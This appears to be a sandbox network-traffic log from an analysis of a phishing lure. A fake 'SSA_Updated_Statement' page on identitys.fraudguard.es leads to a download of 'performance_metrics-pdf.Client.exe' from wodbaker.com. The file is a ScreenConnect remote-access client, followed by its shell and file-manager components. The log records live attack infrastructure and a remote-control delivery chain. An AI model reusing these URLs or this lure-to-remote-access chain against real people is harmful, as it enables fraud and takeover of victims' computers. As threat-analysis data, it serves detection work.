Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e6c301cb8601885&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: identitys.fraudguard.esConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://identitys.fraudguard.es/SSA_Updated_StatementAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8e6c301cb8601885/1732312784549/6ubB1azQhHpJs3x HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8e6c301cb8601885/1732312784549/6ubB1azQhHpJs3x HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8e6c301cb8601885/1732312784550/285a7e71a6f8bfd9c8e73004e15c93ae5513900853cda5f6a8bb8b6d62cfef2e/1N5AD1vB1wqnROd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: identitys.fraudguard.esConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs HTTP/1.1Host: identitys.fraudguard.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SSA_Updated_Statement/ HTTP/1.1Host: identitys.fraudguard.esConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Referer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=vaH0AjYY24C_YbWAU2H696i49KpvtfYtW.WH0aNbYIM-1732312771-1.2.1.1-PYxquHvmowOgTLwsFdiVvnfGjc9XQZV3_lVDGMzReGQzPt2iYB9QJ7y6PW9T6R3Mo5kJ2NZIgxpPj6ycbT9A6Gshx3n3fbO2.hqnzlfXM9Bld3rI6QbtTD085QGVnqfaBFWWCcqY.txgIpO.ngARw9Plr7kR9jN9QrgDlMcn8RvDJx8pG1Prk9GzaZaL9p0ZbYZW3rfqsGbjLtb3frTop7LvI_r6HemgJe6PcDILCtWlLFlK7CdOcrBg4pqb63IXm.RHjZrcN3YwAJQSsO6BQ_ZKFCyCZwhmtKesWVt6dIRIXKiConbuO7PmIflD3c3Qy2ulbW7h2UYCtmBXEIJruTf.OGdCTmgvvjyjT.xm6kWpbgJOIQA2XkjO8Xf55sBdM6W.3mmUk5KCQ3Ahrd0x6TErh3Y2XDqS3JLmmNxyNIOeNBRcKQN9oisNDuKyiavg
Source: global traffic	HTTP traffic detected: GET /Bin/performance_metrics-pdf.Client.exe?h=instance-w08c5r-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=bc9a796e-2e89-48ba-9484-932c800a4c34&i=&e=Support&y=Guest&r= HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://identitys.fraudguard.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Bin/performance_metrics-pdf.Client.exe?h=instance-w08c5r-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=bc9a796e-2e89-48ba-9484-932c800a4c34&i=&e=Support&y=Guest&r= HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://identitys.fraudguard.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: identitys.fraudguard.esConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://identitys.fraudguard.es/SSA_Updated_Statement/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=vaH0AjYY24C_YbWAU2H696i49KpvtfYtW.WH0aNbYIM-1732312771-1.2.1.1-PYxquHvmowOgTLwsFdiVvnfGjc9XQZV3_lVDGMzReGQzPt2iYB9QJ7y6PW9T6R3Mo5kJ2NZIgxpPj6ycbT9A6Gshx3n3fbO2.hqnzlfXM9Bld3rI6QbtTD085QGVnqfaBFWWCcqY.txgIpO.ngARw9Plr7kR9jN9QrgDlMcn8RvDJx8pG1Prk9GzaZaL9p0ZbYZW3rfqsGbjLtb3frTop7LvI_r6HemgJe6PcDILCtWlLFlK7CdOcrBg4pqb63IXm.RHjZrcN3YwAJQSsO6BQ_ZKFCyCZwhmtKesWVt6dIRIXKiConbuO7PmIflD3c3Qy2ulbW7h2UYCtmBXEIJruTf.OGdCTmgvvjyjT.xm6kWpbgJOIQA2XkjO8Xf55sBdM6W.3mmUk5KCQ3Ahrd0x6TErh3Y2XDqS3JLmmNxyNIOeNBRcKQN9oisNDuKyiavg; PHPSESSID=t8e57uod4fhioib6ap4mln8lcr
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NaaTFGLBoe8uReC&MD=opLzswZg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=bc9a796e-2e89-48ba-9484-932c800a4c34&k=BgIAAACkAABSU0ExAAgAAAEAAQCRGfsKd924pjxFZ918B6raAuzUhh5FRZhLBgw%2bjJvsUYth71ehs3TgTqQM6PaX8eVkNGvUMxXG8Iwo3Yod6K6CobzQt7EZ1AAlkXL%2bYOmS9DFgVHpzbpUxfWLxXMZq%2bQd9sOoPpcLYYxLruC0ToReOWtRBa2ElcElIUaUlpGygd25GSnI9gBPIvT10hqUxGb9KOXyXhmMPqp8G4aAKziDVZc9ssP5Xr3q4ueMlULXSCl55xqO4qcrk7mXl5XCBi8meKGjyhnfBJkvYAuPD%2fCQhUFp%2fXDZu3Z2doFFbLgsflcEbGBkAHXo6m08VI%2bzm9rxMremukCyoqbKO9p7HTfW7&r=&i= HTTP/1.1Host: wodbaker.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wo&oit=1&cp=2&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wod&oit=1&cp=3&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodb&oit=1&cp=4&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodba&oit=1&cp=5&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbak&oit=1&cp=6&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker&oit=1&cp=8&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.&oit=1&cp=9&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
